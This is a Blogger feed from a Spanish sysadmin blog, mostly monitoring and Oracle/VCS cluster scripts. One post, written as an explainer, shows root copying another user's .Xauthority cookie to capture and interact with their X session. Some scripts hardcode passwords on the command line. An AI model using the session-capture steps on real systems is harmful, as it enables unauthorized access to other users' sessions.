enlace mejor &lt;a href="http://hackaday.com/2008/09/28/upgrading-the-cisco-pix-506e/"&gt;&lt;b&gt;Upgrading the Cisco PIX 506E&lt;/b&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-3181632143355492312?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=3181632143355492312' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/3181632143355492312'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/3181632143355492312'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2008/10/hardware-hack-convertir-pix-506e-en.html' title='Hardware hack. Convertir PIX 506E en casi 515E'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-361228397965052141</id><published>2008-10-09T18:39:00.012+02:00</published><updated>2011-11-21T11:00:56.390+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vbs'/><category scheme='http://www.blogger.com/atom/ns#' term='monitorizacion'/><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><category scheme='http://www.blogger.com/atom/ns#' term='oracle'/><title type='text'>Monitarizacion de varias maquinas remotas desde un win con VBS (CLD 3.1)</title><content type='html'>Monitorizar pings, tnspings, URLs sin y con autenticacion. VBS&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: vb"&gt;&lt;br /&gt;'CLD.VBS 3.1 (CheckListDiari 3.1)&lt;br /&gt;'vlan7 - http://www.vlan7.org - From Scratch&lt;br /&gt;'Ejecutar el script VBS en local si lo ejecutais varias personas (cuestion de permisos)&lt;br /&gt;&lt;br /&gt;'News from 3.0 to 3.1 / 8-Oct-2008&lt;br /&gt;'High Speedup&lt;br /&gt;'Se quitan 2 Sleeps de 1 segundo porque se comprueba que no son necesarios.&lt;br /&gt;'Por cada web_login 1 segundo de espera menos.&lt;br /&gt;&lt;br /&gt;'News from 2.1 to 3.0 / 7-Oct-2008&lt;br /&gt;'Monitorizacion de servicios de maquinas Win remotas&lt;br /&gt;'2 WScript.Echo porque servicios tardan&lt;br /&gt;&lt;br /&gt;'News from 2.0 to 2.1 / 1-Oct-2008&lt;br /&gt;'Monitorizacion de conectividad de maquinas UNIX _desde ellas mismas_ con FTPs (plink)&lt;br /&gt;'Me doy cuenta de la necesidad de ejecutar el script VBS en local&lt;br /&gt;&lt;br /&gt;'News from 1.5 to 2.0 / 29-Ago-2008&lt;br /&gt;'Monitorizacion servicios windows (aun solo local -comentado-)&lt;br /&gt;'pings / tnspings totalmente rotos en 1.4. Solucionado&lt;br /&gt;'Los ficheros se cierran&lt;br /&gt;'Limpieza&lt;br /&gt;&lt;br /&gt;'News from 1.4 to 1.5 / 28-Ago-2008&lt;br /&gt;'Speed-up&lt;br /&gt;&lt;br /&gt;'News from 1.3 to 1.4 / 27-Ago-2008&lt;br /&gt;'Concurrencia de comandos obj WshShell (not True). Mucho mas rapido&lt;br /&gt;&lt;br /&gt;'News from 1.2 to 1.3 / 16-Jul-2008&lt;br /&gt;'Añadida comprobacion BBDD abiertas + startup_time sqlplus&lt;br /&gt;&lt;br /&gt;'News from 1.1 to 1.2 / 12-Jun-2008&lt;br /&gt;'Añadida comprobacion login en webs con Please Wait&lt;br /&gt;&lt;br /&gt;'News from 1.0 to 1.1 / 11-Jun-2008&lt;br /&gt;'Añadida comprobacion de que las webs estan up y corriendo&lt;br /&gt;'Pequeñas mejoras de estilo&lt;br /&gt;&lt;br /&gt;'1.0 / 6-Jun-2008&lt;br /&gt;'Comprueba pings / tnspings&lt;br /&gt;&lt;br /&gt;'Entradas:&lt;br /&gt;'pings.txt - Maquinas a las que hacer ping&lt;br /&gt;'tnspings.txt - Maquinas a las que hacer tnsping&lt;br /&gt;'webs_no_login.txt - WEBs sin login a comprobar que esten up y corriendo&lt;br /&gt;'webs_login.txt - WEBs con login a comprobar que esten up, corriendo y login OK&lt;br /&gt;'services.txt - Servicios a monitorizar running y sus maquinas&lt;br /&gt;&lt;br /&gt;'Formato entradas:&lt;br /&gt;'pings.txt, tnspings.txt, webs_no_login.txt - Un host/IP/URL por linea&lt;br /&gt;'webs_login.txt - 3 lineas: URL login, URL accesible solo logeado, patron a buscar&lt;br /&gt;'bbdd.txt - 2 lineas: Un sqlplus, nombre bd a mostrar. (Se pasa bbdd.sql a sqlplus)&lt;br /&gt;'services.txt - 2 lineas: host/IP;user;password, servicio1;servicio2;...;servicion&lt;br /&gt;&lt;br /&gt;'Salida:&lt;br /&gt;'Escribe en una hoja Excel on-the-fly:&lt;br /&gt;'pings, tnspings, webs_no_login - Escribe Online / *OFF*&lt;br /&gt;'webs_login - Escribe Online / *OFF* + Login OK / Login *NO* OK&lt;br /&gt;'bbdd - Escribe select status, startup_time from v$instance;&lt;br /&gt;'Orden: pings, tnspings, webs_no_login, webs_login, bbdd&lt;br /&gt;&lt;br /&gt;Set objExcel = CreateObject("Excel.Application")&lt;br /&gt;objExcel.Visible = True&lt;br /&gt;objExcel.Workbooks.Add&lt;br /&gt;&lt;br /&gt;objExcel.Cells(1, 1).Value = "Maquinas"&lt;br /&gt;objExcel.Cells(1, 2).Value = "Resultado"&lt;br /&gt;&lt;br /&gt;Set Fso = CreateObject("Scripting.FileSystemObject")&lt;br /&gt;Set WshShell = WScript.CreateObject("WScript.Shell")&lt;br /&gt;&lt;br /&gt;Function EjecutaComando(Comando)&lt;br /&gt;' Ejecuta comando argumento y devuelve salida comando&lt;br /&gt;  Dim objExec, strOutput, intVersion&lt;br /&gt;&lt;br /&gt;  On Error Resume Next&lt;br /&gt;  intVersion = Wscript.Version ' Get scripting host version&lt;br /&gt;  Set objExec = WshShell.Exec(Comando)&lt;br /&gt;&lt;br /&gt;  If intVersion &amp;lt; 5.6 Then&lt;br /&gt;    On Error Resume Next&lt;br /&gt;    strOutput = objExec.StdOut.ReadAll&lt;br /&gt;  Else&lt;br /&gt;    Do While True    &lt;br /&gt;      strOutput = strOutput &amp; objExec.StdOut.Read(1)&lt;br /&gt;      If objExec.StdOut.AtEndOfStream Then&lt;br /&gt;        Exit Do&lt;br /&gt;      End If&lt;br /&gt;    Loop    &lt;br /&gt;  End If    &lt;br /&gt;&lt;br /&gt;  EjecutaComando = strOutput&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;i = 2 'Fila&lt;br /&gt;&lt;br /&gt;' *** pings ***&lt;br /&gt;Set InputFile = fso.OpenTextFile("pings.txt")&lt;br /&gt;Do While Not (InputFile.atEndOfStream)&lt;br /&gt;  HostName = InputFile.ReadLine&lt;br /&gt;  strOutput = EjecutaComando("ping -n 1 " &amp; HostName)&lt;br /&gt;  objExcel.Cells(i, 1).Value = HostName&lt;br /&gt;&lt;br /&gt;  patron = "Respuesta"&lt;br /&gt;  objExcel.Cells(i, 2).Value = "*OFF*"&lt;br /&gt;  &lt;br /&gt;  arrLines = Split(strOutput, vbCrLf)&lt;br /&gt;  For Each strLine in arrLines&lt;br /&gt;    If InStr(strLine, patron) &amp;lt;&amp;gt; 0 Then 'Si patron encontrado&lt;br /&gt;      objExcel.Cells(i, 2).Value = "On Line"&lt;br /&gt;    End If&lt;br /&gt;  Next&lt;br /&gt;&lt;br /&gt;  i = i + 1 'Siguiente fila&lt;br /&gt;Loop&lt;br /&gt;&lt;br /&gt;InputFile.Close&lt;br /&gt;i = i + 1 'Una linea en blanco&lt;br /&gt;&lt;br /&gt;' *** tnspings ***&lt;br /&gt;Set InputFile = fso.OpenTextFile("tnspings.txt")&lt;br /&gt;Do While Not (InputFile.atEndOfStream)&lt;br /&gt;  HostName = InputFile.ReadLine&lt;br /&gt;  strOutput = EjecutaComando("tnsping " &amp; HostName)&lt;br /&gt;  objExcel.Cells(i, 1).Value = HostName&lt;br /&gt;&lt;br /&gt;  patron = "correctamente"&lt;br /&gt;  objExcel.Cells(i, 2).Value = "*OFF*"&lt;br /&gt;  &lt;br /&gt;  arrLines = Split(strOutput, vbCrLf)&lt;br /&gt;  For Each strLine in arrLines&lt;br /&gt;    If InStr(strLine, patron) &amp;lt;&amp;gt; 0 Then 'Si patron encontrado&lt;br /&gt;      objExcel.Cells(i, 2).Value = "On Line"&lt;br /&gt;    End If&lt;br /&gt;  Next&lt;br /&gt;  &lt;br /&gt;  i = i + 1 'Siguiente fila&lt;br /&gt;Loop&lt;br /&gt;&lt;br /&gt;InputFile.Close&lt;br /&gt;i = i + 1 'Una linea en blanco&lt;br /&gt;&lt;br /&gt;' *** WEBs NO LOGIN***&lt;br /&gt;Set InputFile = fso.OpenTextFile("webs_no_login.txt")&lt;br /&gt;Set objHTTP = CreateObject("MSXML2.XMLHTTP") &lt;br /&gt;Do While Not (InputFile.atEndOfStream)&lt;br /&gt;  URL = InputFile.ReadLine&lt;br /&gt;&lt;br /&gt;  objExcel.Cells(i, 1).Value = URL&lt;br /&gt;&lt;br /&gt;  'Comprobamos conectividad  &lt;br /&gt;&lt;br /&gt;  objHTTP.Open "GET", URL, False&lt;br /&gt;  objHttp.Send&lt;br /&gt;&lt;br /&gt;  If objHTTP.statusText = "OK" Then&lt;br /&gt;    objExcel.Cells(i, 2).Value = "On Line"&lt;br /&gt;  End If&lt;br /&gt;  &lt;br /&gt;  objExcel.Cells(i, 3).Value = "No necesario login"&lt;br /&gt;  &lt;br /&gt;  i = i + 1 'Siguiente fila&lt;br /&gt;Loop&lt;br /&gt;&lt;br /&gt;InputFile.Close&lt;br /&gt;i = i + 1 'Una linea en blanco&lt;br /&gt;&lt;br /&gt;' *** WEBs LOGIN ***&lt;br /&gt;Set InputFile = fso.OpenTextFile("webs_login.txt")&lt;br /&gt;Do While Not (InputFile.atEndOfStream)&lt;br /&gt;  URL = InputFile.ReadLine&lt;br /&gt;&lt;br /&gt;  objExcel.Cells(i, 1).Value = URL&lt;br /&gt;&lt;br /&gt;  'Comprobamos conectividad  &lt;br /&gt;  objHTTP.Open "GET", url, False&lt;br /&gt;  objHttp.Send&lt;br /&gt;&lt;br /&gt;  If objHTTP.statusText = "OK" Then&lt;br /&gt;    objExcel.Cells(i, 2).Value = "On Line"&lt;br /&gt;    URL_login = InputFile.ReadLine 'URL test login&lt;br /&gt;    patron = InputFile.Readline 'Cadena a buscar&lt;br /&gt;    'WScript.Sleep 1000 'sleep de 1 segundo para que de tiempo a cargar pagina final&lt;br /&gt;&lt;br /&gt;    'Comprobamos login  &lt;br /&gt;    objHTTP.Open "GET", URL_login, False&lt;br /&gt;    objHttp.Send&lt;br /&gt;    objExcel.Cells(i, 3).Value = "Login *NO* OK"&lt;br /&gt;    &lt;br /&gt;    arrLines = Split(objHTTP.responseText, vbCrLf)&lt;br /&gt;    For Each strLine in arrLines&lt;br /&gt;      If InStr(strLine, patron) &amp;lt;&amp;gt; 0 then 'Si patron encontrado&lt;br /&gt;        objExcel.Cells(i, 3).Value = "Login OK"&lt;br /&gt;      end if&lt;br /&gt;    Next&lt;br /&gt;  End If&lt;br /&gt;  i = i + 1 'Siguiente fila&lt;br /&gt;Loop&lt;br /&gt;&lt;br /&gt;i = i + 1 'Una linea en blanco&lt;br /&gt;&lt;br /&gt;' *** BBDD ***&lt;br /&gt;Set InputFile = fso.OpenTextFile("bbdd.txt")&lt;br /&gt;Do While Not (InputFile.atEndOfStream)&lt;br /&gt;  sqlplus = InputFile.ReadLine&lt;br /&gt;  sistema = InputFile.ReadLine&lt;br /&gt;  strOutput = EjecutaComando(sqlplus)&lt;br /&gt;  objExcel.Cells(i, 1).Value = sistema&lt;br /&gt;  patron = "OPEN"&lt;br /&gt;  objExcel.Cells(i, 2).Value = "Closed"&lt;br /&gt;  arrLines = Split(strOutput, vbCrLf)&lt;br /&gt;  For Each strLine in arrLines&lt;br /&gt;    If InStr(strLine, patron) &amp;lt;&amp;gt; 0 Then 'Si patron encontrado&lt;br /&gt;      objExcel.Cells(i, 2).Value = strline '"Open"&lt;br /&gt;    End If&lt;br /&gt;  Next&lt;br /&gt;  i = i + 1 'Siguiente fila&lt;br /&gt;Loop&lt;br /&gt;&lt;br /&gt;InputFile.Close&lt;br /&gt;i = i + 1 'Una linea en blanco&lt;br /&gt;&lt;br /&gt;' *** ftp_check.sh ***&lt;br /&gt;objExcel.Cells(i, 1).Value = "remota"&lt;br /&gt;i = i + 1 'Una linea en blanco&lt;br /&gt;'%ComSpec% /c echo y |... necesario para pipear "yes" por si nos pide las claves ssh (la primera vez)&lt;br /&gt;strOutput = EjecutaComando("%ComSpec% /c echo y |plink -ssh -pw password root@remota ""/bin/bash /ftp_check12.sh""")&lt;br /&gt;arrLines = Split(strOutput, vbLf) 'UNIX solo usa caracter LF como nueva linea&lt;br /&gt;For Each strLine in arrLines&lt;br /&gt;  objExcel.Cells(i, 1).Value = strline&lt;br /&gt;  i = i + 1 'Siguiente fila (siguiente FTP)&lt;br /&gt;Next&lt;br /&gt;'i = i + 1 'Una linea en blanco&lt;br /&gt;&lt;br /&gt;WScript.Echo("Monitorizacion servicios Win remotos. Pulse 'Aceptar' y tenga paciencia")&lt;br /&gt;&lt;br /&gt;' *** Servicios ***&lt;br /&gt;Set InputFile = fso.OpenTextFile("services.txt")&lt;br /&gt;Do While Not (InputFile.atEndOfStream)&lt;br /&gt;  Linea = InputFile.ReadLine&lt;br /&gt;  arrLines = Split(Linea, ";")&lt;br /&gt;  strComputer = arrLines(0)&lt;br /&gt;  Username = strComputer &amp; "\" &amp; arrLines(1)&lt;br /&gt;  Password = arrLines(2)&lt;br /&gt;&lt;br /&gt;  objExcel.Cells(i, 1).Value = strComputer&lt;br /&gt;  &lt;br /&gt;  Linea = InputFile.ReadLine&lt;br /&gt;  arrServicios = Split(Linea, ";")&lt;br /&gt;&lt;br /&gt;  'Creamos el objeto SWbemLocator&lt;br /&gt;  Set objLocalizadorWMI = CreateObject("WbemScripting.SWbemLocator")&lt;br /&gt;  Set objWMIService = objLocalizadorWMI.ConnectServer(strComputer, "root\cimv2", Username, Password)&lt;br /&gt; &lt;br /&gt;  j = 0&lt;br /&gt;  Do While j &amp;lt;= Ubound(arrServicios)&lt;br /&gt;    strQuery = "SELECT DisplayName,State FROM Win32_Service WHERE Name = '" + arrServicios(j)&lt;br /&gt;    strQuery = strQuery + "'"&lt;br /&gt;    'i = i + 1 'Siguiente fila (Servicios) &lt;br /&gt;    'objExcel.Cells(i, 2).Value = strQuery&lt;br /&gt;  &lt;br /&gt;    Set colServices = objWMIService.ExecQuery(strQuery)&lt;br /&gt;    For Each objService in colServices&lt;br /&gt;      i = i + 1 'Siguiente fila (Servicio actual) &lt;br /&gt;      objExcel.Cells(i, 2).Value = objService.Name&lt;br /&gt;      objExcel.Cells(i, 3).Value = objService.State&lt;br /&gt;    Next&lt;br /&gt;    j = j + 1&lt;br /&gt;  Loop&lt;br /&gt;  i = i + 1 'Siguiente fila (Siguiente Servicio) &lt;br /&gt;Loop&lt;br /&gt;InputFile.Close&lt;br /&gt;&lt;br /&gt;'Formato resaltado fila 1&lt;br /&gt;objExcel.Range("A1:B1").Select&lt;br /&gt;objExcel.Selection.Interior.ColorIndex = 19&lt;br /&gt;objExcel.Selection.Font.ColorIndex = 11&lt;br /&gt;objExcel.Selection.Font.Bold = True&lt;br /&gt;&lt;br /&gt;'objExcel.Cells.EntireColumn.AutoFit&lt;br /&gt;WScript.Echo("CLD finalizado. Pulse 'Aceptar' y revise la hoja Excel")&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-361228397965052141?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=361228397965052141' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/361228397965052141'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/361228397965052141'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2008/10/monitarizacion-de-varias-maquinas.html' title='Monitarizacion de varias maquinas remotas desde un win con VBS (CLD 3.1)'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-4415410981987259839</id><published>2008-09-02T15:26:00.008+02:00</published><updated>2011-11-25T16:32:57.481+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='*nix'/><category scheme='http://www.blogger.com/atom/ns#' term='pentesting'/><title type='text'>Capturar sesiones X de otros usuarios</title><content type='html'>La autorizacion en las X-Window funciona basicamente de la siguiente manera:&lt;br /&gt;&lt;br /&gt;El servidor X usa una "magic cookie" para autorizar usuarios. Cuando inicias sesion en las X, el servidor (X-Window es un servidor) crea y almacena esta cookie unica en ~/.Xauthority. El archivo solo es accesible por el propio usuario, y por el root claro.&lt;br /&gt;&lt;br /&gt;Veamos como el root puede aprovecharse. Si nos logeamos como root en el servidor que vlan7 esta usando, podemos copiarnos la magic-cookie de vlan7.&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;# cp /home/vlan7/.Xauthority ~/&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Pero antes de que podamos usarla tenemos que cambiar nuestro display. Como hemos entrado por ssh no tenemos display.&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;# echo $DISPLAY&lt;br /&gt;DISPLAY: undefined variable&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;No queremos cualquier display, queremos justo el display que vlan7 esta usando. Lo averiguamos leyendo la magic-cookie de vlan7:&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;# xauth list&lt;br /&gt;probador/unix:0 MIT-MAGIC-COOKIE-1 7e7b87943897439874392&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Ya tenemos el nombre del display de vlan7. Es probador/unix:0, donde probador es su hostname. Nos conectamos a su display.&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;# DISPLAY=probador/unix:0&lt;br /&gt;# export DISPLAY&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Y ya podemos interactuar con su sesion. Por ejemplo, mandemosle un mensaje para que se vaya ya.&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;# xmessage -nearmouse Es hora de irse a casa vlan7...&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Y cerca del raton le saldra el mensaje a vlan7. Hasta que no lo acepte no nos saldra de nuevo el prompt de la shell.&lt;br /&gt;&lt;br /&gt;Sed buenos si sois root...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-4415410981987259839?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=4415410981987259839' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/4415410981987259839'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/4415410981987259839'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2008/09/capturar-sesiones-x-de-otros-usuarios.html' title='Capturar sesiones X de otros usuarios'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-3672357206731651189</id><published>2008-08-20T15:09:00.008+02:00</published><updated>2011-11-21T10:57:49.755+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='HA'/><category scheme='http://www.blogger.com/atom/ns#' term='solaris'/><title type='text'>Control crontabs VCS con failover</title><content type='html'>En un VCS con failover las tareas crontab solo deberian ejecutarse en el nodo activo.&lt;br /&gt;&lt;br /&gt;Una solucion elegante es crear en todos los grupos del cluster un recurso de tipo FileOnOff que cree un archivo en /var/tmp solo donde el grupo esta activo. De tipo global y atributo critico a false para que no tire a todo el grupo si el recurso se cae.&lt;br /&gt;&lt;br /&gt;De esta forma podemos comprobar en cada linea de los crontabs si ese archivo existe, y si y solo si existe, hacer lo que tengamos que hacer. Algo como:&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;0 3 * * * /bin/bash -c "if [ -f /var/tmp/cron ] ; then /export/home/oracle/bd_start.sh nombre_recurso; fi"&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-3672357206731651189?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=3672357206731651189' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/3672357206731651189'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/3672357206731651189'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2008/08/control-crontabs-vcs-con-failover.html' title='Control crontabs VCS con failover'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-2406268698153934761</id><published>2008-08-06T12:22:00.008+02:00</published><updated>2010-08-14T23:03:45.791+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='*nix'/><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='monitorizacion'/><title type='text'>check FTPs bash (II)</title><content type='html'>Nueva version del script que comprobaba la conectividad de FTPs definidos en un archivo de texto.&lt;br /&gt;&lt;br /&gt;Hace lo mismo pero ahora manda mensaje al HP Openview si algun FTP falla.&lt;br /&gt;&lt;br /&gt;Metido en una tarea crontab que se ejecuta cada 15 minutos.&lt;br /&gt;&lt;br /&gt;Este es el codigo:&lt;br /&gt;&lt;pre class="brush: bash"&gt;#ftp_check.sh 1.3 / 6-Ago-2008&lt;br /&gt;#vlan7&lt;br /&gt;#&lt;br /&gt;#Based on GNUcitizen's bash portscanner&lt;br /&gt;#&lt;br /&gt;#News from 1.1 to 1.2&lt;br /&gt;#Tratamiento background, si FTP NO OK, no necesario CTRL+C, kill.&lt;br /&gt;#Mensaje a OVO si FTP NO OK&lt;br /&gt;#&lt;br /&gt;#News from 1.0 to 1.1 / 13-Jun-2008&lt;br /&gt;#if-else en vez de 2 ifs, mas elegante&lt;br /&gt;#&lt;br /&gt;#1.0 / 12-Jun-2008&lt;br /&gt;#Chequea status FTPs&lt;br /&gt;#&lt;br /&gt;#Requisitos: bash&lt;br /&gt;#&lt;br /&gt;#Entrada: ftps_ips.txt ftps_nombres.txt&lt;br /&gt;#&lt;br /&gt;#Salida: Escribe en salida estandar "FTP &amp;lt;host&amp;gt; OK" / "FTP &amp;lt;host&amp;gt; *NO* OK"&lt;br /&gt;#&lt;br /&gt;#Formato Entrada: Un server FTP por linea&lt;br /&gt;#&lt;br /&gt;#Nota: Para escanear otros puertos puede ser necesario mandar logout / exit en vez de quit&lt;br /&gt;#&lt;br /&gt;#!/bin/bash&lt;br /&gt;for host in $(cat ftps_ips.txt) ; do&lt;br /&gt;  echo -en "o $host 21\nquit\n" |telnet 2&amp;gt;/dev/null |grep 'Connected to' &amp;gt;/dev/null&amp;&lt;br /&gt;  sleep 1&lt;br /&gt;  kill $! 2&gt;/dev/null&lt;br /&gt;  if [ $? -eq 0 ]; then&lt;br /&gt;    /opt/OV/bin/opcmsg severity=critical app=kernel object=cron msg_text="Un FTP *NO* OK" msg_grp=Performance node=host.es&lt;br /&gt;  fi&lt;br /&gt;done&lt;br /&gt;&lt;br /&gt;for host in $(cat ftps_nombres.txt) ; do&lt;br /&gt;  if echo -en "o $host 21\nquit\n" |telnet 2&amp;gt;/dev/null |grep 'Connected to' &amp;gt;/dev/null; then&lt;br /&gt;    : #NOP. returns 0&lt;br /&gt;  else&lt;br /&gt;    /opt/OV/bin/opcmsg severity=critical app=kernel object=cron msg_text="Un FTP *NO* OK" msg_grp=Performance node=host.es&lt;br /&gt;  fi&lt;br /&gt;done&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-2406268698153934761?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=2406268698153934761' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/2406268698153934761'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/2406268698153934761'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2008/08/check-ftps-bash-ii.html' title='check FTPs bash (II)'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-7813119867482247347</id><published>2008-08-05T13:43:00.009+02:00</published><updated>2011-11-21T10:57:33.176+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='HA'/><category scheme='http://www.blogger.com/atom/ns#' term='solaris'/><category scheme='http://www.blogger.com/atom/ns#' term='oracle'/><title type='text'>Parada de una bd Oracle en VCS</title><content type='html'>Teniendo en cuenta si el grupo esta o no congelado. Para el arranque es similar.&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;#bd_shut 2.0&lt;br /&gt;#vlan7 / 5-8-2008&lt;br /&gt;#Para la bd pasada como parametro $1 si la bd reside en mi nodo&lt;br /&gt;#&lt;br /&gt;#News from 1.1 (3-7-2008) to 2.0&lt;br /&gt;#Valido para nodo congelado&lt;br /&gt;#&lt;br /&gt;#News from 1.0 (17-6-2008) to 1.1&lt;br /&gt;#Full PATH comandos cluster&lt;br /&gt;#&lt;br /&gt;#Ejemplo llamada:&lt;br /&gt;#./bd_shut.sh proves_oracle&lt;br /&gt;#&lt;br /&gt;#!/bin/bash&lt;br /&gt;&lt;br /&gt;#Validacion contra cluster&lt;br /&gt;/opt/VRTSvcs/bin/halogin admin password&lt;br /&gt;&lt;br /&gt;#Abrimos config cluster&lt;br /&gt;/opt/VRTSvcs/bin/haconf -makerw&lt;br /&gt;&lt;br /&gt;#S1=Quien tiene la BBDD&lt;br /&gt;S1=`/opt/VRTSvcs/bin/hares -state $1 |grep ONLINE |awk '{print $3}'`&lt;br /&gt;S2=`hostname`&lt;br /&gt;&lt;br /&gt;if [ "$S1" != "$S2" ];&lt;br /&gt;then&lt;br /&gt;  #A que grupo pertenece recurso $1&lt;br /&gt;  grupo=`/opt/VRTSvcs/bin/hares -display $1 -attribute Group |grep Group |awk '{print $4}'`&lt;br /&gt;&lt;br /&gt;  frozen=`/opt/VRTSvcs/bin/hagrp -display $grupo |grep -w Frozen |awk '{print $4}'`&lt;br /&gt;  tfrozen=`/opt/VRTSvcs/bin/hagrp -display $grupo |grep -w TFrozen |awk '{print $4}'`&lt;br /&gt;&lt;br /&gt;  #Si estamos frozen&lt;br /&gt;  if [ "$tfrozen" -eq 1 ] || [ "$frozen" -eq 1 ]&lt;br /&gt;  then&lt;br /&gt;    #Descongelamos grupo&lt;br /&gt;    /opt/VRTSvcs/bin/hagrp -unfreeze $grupo -sys $S1&lt;br /&gt;&lt;br /&gt;    #Paramos bd&lt;br /&gt;    /opt/VRTSvcs/bin/hares -offline $1 -sys $S1&lt;br /&gt;&lt;br /&gt;    #Congelamos permanent&lt;br /&gt;    /opt/VRTSvcs/bin/hagrp -freeze $grupo -persistent&lt;br /&gt;  fi&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;#Cerramos config cluster&lt;br /&gt;/opt/VRTSvcs/bin/haconf -dump -makero&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-7813119867482247347?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=7813119867482247347' title='0 